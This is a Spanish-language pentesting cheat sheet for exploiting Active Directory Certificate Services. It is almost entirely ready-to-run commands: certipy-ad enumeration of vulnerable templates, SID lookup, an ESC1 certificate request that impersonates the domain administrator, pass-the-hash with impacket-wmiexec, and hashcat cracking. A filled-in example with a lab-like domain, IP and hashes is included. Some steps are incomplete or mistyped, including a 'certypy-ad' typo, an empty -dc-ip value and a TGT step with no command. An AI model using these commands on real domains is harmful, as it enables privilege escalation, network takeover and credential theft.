# ADCS **AD CS (Active Directory Certificate Services)** es el servicio de Microsoft que gestiona **PKI (Public Key Infrastructure)** en dominios Active Directory. #### Paso 1: Encontrar ESC Usuario + Hash ``` certypy-ad find -u 'usuario@dominio' -hashes HASH -dc-ip -enabled -vuln -ldap-scheme ldap -stdout ```

Usuario + Contraseña ``` certipy-ad find -u 'usuario@dominio' -p 'password' -dc-ip -enabled -vuln -ldap-scheme ldap -stdout ```

#### Paso 2: Explotar en función del ESC **ESC1 - Template con SAN + Auto-Enroll** Se basa en **Suplantar identidades con certificados**

Antes de nada, debemos enumerar el SID del usuario que queremos suplantar: Manera 1: impacket-lookupsid ``` lookupsid.py 'DOMINIO/USUARIO:PASSWORD@IP_DC' ```

Manera 2: Aprovechando RPC ``` rpcclient --user 'DOMINIO/USUARIO' --password 'PASSWORD' -c "lookupnames administrator" ```

Ahora sí pasamos a la explotación. ``` certipy-ad req -debug -u 'USUARIO@DOMINIO.COM' -p 'CONTRASEÑA' -hashes 'LM_HASH:NTLM_HASH' -target-ip IP_CA -ca 'NOMBRE_CA' -template 'TEMPLATE_VULNERABLE' -upn 'USUARIO_A_SUPLANTAR@DOMINIO.COM' -sid 'SID_COMPLETO_USUARIO_A_SUPLANTAR' ``` Ejemplo: ``` certipy-ad -debug req -u 'tel_engineer01@telecore.ad' -p 'e2b1996aaff0f57bccb916265a77970e' -hashes 'aad3b435b51404eeaad3b435b51404ee:e2b1996aaff0f57bccb916265a77970e' -target-ip 10.5.2.8 -ca 'telecore-PKI-SRV-CA' -template 'Tel_User' -upn 'administrator@telecore.ad' -sid 'S-1-5-21-1588247407-410625039-1511794522-500' ```

Ahora uso el certificado administrator.pfx para obtener un TGT de Kerberos y autenticarme como Administrator.

``` impacket-wmiexec -hashes :HASH 'administrator@IP' ```

Para crackear ese hash: ``` hashcat -m 1000 -a 0 hash.txt /usr/share/wordlists/rockyou.txt ```

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